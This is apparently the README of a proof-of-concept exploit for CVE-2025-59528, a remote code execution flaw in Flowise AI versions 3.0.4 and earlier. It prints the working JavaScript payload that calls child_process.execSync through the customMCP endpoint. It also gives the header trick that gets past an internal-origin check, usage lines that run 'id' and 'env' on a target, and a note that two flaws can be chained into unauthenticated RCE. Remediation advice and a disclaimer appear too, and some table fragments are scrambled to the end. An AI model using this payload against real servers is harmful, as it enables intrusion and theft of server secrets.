
Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.
CVE ID: CVE-2025-59528
Affected Software: Flowise AI
Vulnerable Versions: <= 3.0.4
Fixed Version: 3.0.5 and later
Severity: Critical
Author: r3nsi15
Date: 2025
Flowise AI versions up to and including 3.0.4 allow an authenticated user to achieve Remote Code Execution (RCE) on the host server by sending a crafted JavaScript payload to the /api/v1/node-load-method/customMCP endpoint.
The customMCP node's load method accepts user-controlled input that is evaluated server-side as JavaScript, without adequate sanitization or sandboxing. By injecting a payload that leverages Node.js's child_process.execSync, an attacker can run arbitrary operating system commands with the privileges of the Flowise server process.
The endpoint also requires the x-request-from: internal header to be present.
| Endpoint | Method | Auth Required | Purpose |
|---|---|---|---|
/api/v1/auth/login | POST | No | Authenticate and obtain session |
/api/v1/node-load-method/customMCP |
File: CVE-2025-59528_POC.py
requests librarypip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
Verify code execution:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Retrieve server environment variables:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
The exploit injects the following JavaScript expression into the mcpServerConfig field:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — loads Node.js's built-in process execution module.execSync('<command>') — synchronously runs the attacker-supplied OS command.The x-request-from: internal header is also appended to the request to pass an internal origin check that would otherwise block the call.
The customMCP endpoint passes user-supplied input directly into a JavaScript evaluation context on the server without sanitization or sandboxing. Combined with unrestricted access to Node.js core modules (specifically child_process) via process.mainModule.require, this creates a trivially exploitable RCE vector. The x-request-from header check provides no meaningful security boundary as it is not validated against any trusted source.
These two vulnerabilities can be chained for an unauthenticated RCE attack path against Flowise instances running versions <= 3.0.4:
child_process, fs, etc.) via a proper sandbox (e.g., vm2, isolated contexts, or removing process.mainModule access).x-request-from header through a server-side mechanism rather than a simple string check.This proof of concept is provided for educational and authorized security research purposes only. Use of this script against systems without explicit written permission is illegal and unethical. The author and contributors assume no liability for misuse.
| POST |
| Yes (session cookie) |
| Vulnerable node load method endpoint |
| Flag | Long Form | Required | Description |
|---|
-e | --email | Yes | Authenticated user's email address |
-i | --url | Yes | Base URL of the Flowise instance |
-p | --password | Yes | Authenticated user's password |
-c | --cmd | Yes | OS command to execute on the server |